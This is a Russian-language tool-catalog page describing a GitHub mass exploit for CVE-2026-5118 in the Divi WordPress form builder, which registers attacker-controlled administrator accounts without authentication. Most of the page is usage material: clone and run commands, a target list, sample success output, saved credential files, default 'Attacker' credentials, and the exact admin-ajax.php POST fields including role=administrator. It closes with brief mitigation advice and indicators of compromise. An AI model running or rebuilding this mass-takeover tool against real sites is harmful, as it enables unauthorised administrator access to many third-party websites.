Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5118 — CVE-2026-5118 – массовый эксплойт на Python2 для плагина Divi WordPress Неавторизованная регистрация администратора через admin-ajax.php. Многопоточный сканер с извлечением nonce. | Kitploit
Инструменты/GitHubGitHub/jenderal92/cve-2026-5118
Повышение привилегийСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификация
GitHubjenderal92/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 – массовый эксплойт на Python2 для плагина Divi WordPress Неавторизованная регистрация администратора через admin-ajax.php. Многопоточный сканер с извлечением nonce.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Divi Form Builder <= 5.1.2 - Неаутентифицированное повышение привилегий через 'role'

⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований безопасности.
Несанкционированный доступ к компьютерным системам незаконен. Используйте только на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Более подробное заявление об отказе от ответственности можно увидеть в репозитории Jenderal92. Вы можете проверить его ЗДЕСЬ !!!

Обзор

Этот скрипт на Python 2 эксплуатирует уязвимость повышения привилегий в плагине Divi WordPress (и связанных формах Divi). Он позволяет удаленно зарегистрировать учетную запись администратора путем:

  • Извлечения fb_nonce из формы регистрации Divi на цели.
  • Отправки сформированного multipart запроса на /wp-admin/admin-ajax.php с role=administrator.
  • Автоматического обнаружения успеха и сохранения скомпрометированных URL администраторов.

Возможности

  • ✅ Многопоточность (по умолчанию 20 потоков) для быстрого сканирования.
  • ✅ Автоматическая нормализация URL – добавляет https://, если отсутствует.
  • ✅ Извлечение nonce с использованием нескольких шаблонов regex (встроенный JavaScript, скрытые поля, de_fb_obj).
  • ✅ Запрос multipart/form-data, имитирующий легитимную отправку браузера.
  • ✅ Обнаружение успеха по ключевым словам в ответе (success, user_id, user created и т.д.).
  • ✅ Результаты сохраняются в results.txt в формате:
    https://target.com/wp-admin/ | username | password

Требования

  • Python 2.7 (использует urllib2, Queue, threading – несовместим с Python 3 без изменений)
  • Список целевых URL (по одному на строку)

Установка

root@kitploit:~
git clone https://github.com/Jenderal92/CVE-2026-5118.git
cd CVE-2026-5118
chmod +x CVE-2026-5118.py

Использование

1. Подготовка списка целей

Создайте текстовый файл с одним доменом или URL на строку. Вы можете опустить http:// / https:// – скрипт добавит https:// по умолчанию.

Пример targets.txt:

root@kitploit:~
example.com
https://vulnerable-site.com
http://127.0.0.1/wordpress
test-site.org

2. Запуск эксплойта

root@kitploit:~
python CVE-2026-5118.py targets.txt

3. Пример вывода

root@kitploit:~
[*] Total targets : 4
[*] Credentials   : Attacker / Attacker@123#+
[*] Threads       : 20
[*] Output file   : results.txt

[1] Checking https://example.com
[+] SUCCESS! https://example.com/wp-admin/

[2] Checking https://vulnerable-site.com
[+] SUCCESS! https://vulnerable-site.com/wp-admin/

[3] Checking http://192.168.1.100/wordpress
[3] FAILED  http://192.168.1.100/wordpress

[4] Checking https://test-site.org
[4] FAILED  https://test-site.org

=== DONE ===
Successful: 2 / 4

4. Файл результатов (results.txt)

root@kitploit:~
https://example.com/wp-admin/|Attacker|Attacker@123#+
https://vulnerable-site.com/wp-admin/|Attacker|Attacker@123#+

Конфигурация

Вы можете настроить следующие переменные в начале скрипта:

Как это работает

  1. Нормализация URL – добавляет https://, если схема не указана.
  2. Извлечение nonce – загружает главную страницу (или страницу регистрации) и ищет fb_nonce с помощью шаблонов regex.
  3. Формирование запроса – создает POST запрос multipart/form-data, содержащий:
    • action=de_fb_ajax_submit_ajax_handler
    • fb_nonce=<extracted nonce>
    • role=administrator
    • de_fb_user_login / user_login
    • de_fb_user_pass / user_pass
    • de_fb_user_email / user_email
  4. Отправка на admin‑ajax.php – если ответ содержит ключевые слова успеха, цель помечается как уязвимая.

Обнаружение и смягчение

Для администраторов WordPress, использующих Divi:

  • Обновите Divi и все связанные плагины до последней версии.
  • Отключите публичную регистрацию, если она не нужна.
  • Используйте плагин безопасности (Wordfence, Sucuri) для мониторинга запросов к admin-ajax.php.
  • Внедрите reCAPTCHA на всех формах регистрации.
  • Никогда не выставляйте формы регистрации с параметром role, которым можно манипулировать.

Индикаторы компрометации (IOCs):

  • Неожиданные запросы к admin-ajax.php с action=de_fb_ajax_submit_ajax_handler
  • Новые пользователи-администраторы с подозрительными именами (например, Attacker)
  • Данные POST, содержащие role=administrator, в журналах доступа

Юридическое заявление об отказе от ответственности

Это программное обеспечение предоставляется только для образовательных целей и авторизованного тестирования безопасности. Автор не несет ответственности за неправомерное использование или ущерб, причиненный этим инструментом. Используя это программное обеспечение, вы соглашаетесь:

  • Получить письменное разрешение от владельца системы перед тестированием.
  • Соблюдать все применимые законы (CFAA, Computer Misuse Act, UU ITE и т.д.).
  • Немедленно удалить любой несанкционированный доступ, полученный.
  • Ответственно сообщать об уязвимостях затронутому поставщику.

Нарушение этих условий может привести к уголовному преследованию, штрафам или тюремному заключению.

Вклад

Принимаются запросы на включение изменений для улучшений (портирование на Python 3, лучшее извлечение nonce, обнаружение дополнительных путей регистрации). Пожалуйста, сохраняйте этическое заявление об отказе от ответственности.

Скачать инструмент
ПеременнаяПо умолчаниюОписание
DEFAULT_USERNAMEAttackerИмя пользователя для регистрации
DEFAULT_PASSWORDAttacker@123#+Пароль (надежный, со спецсимволами)
DEFAULT_EMAIL[email protected]Адрес электронной почты
THREAD_COUNT20Количество одновременных потоков
OUTPUT_FILEresults.txtФайл для сохранения успешных целей
  • Сохранение результата – записывает URL администратора и учетные данные в выходной файл.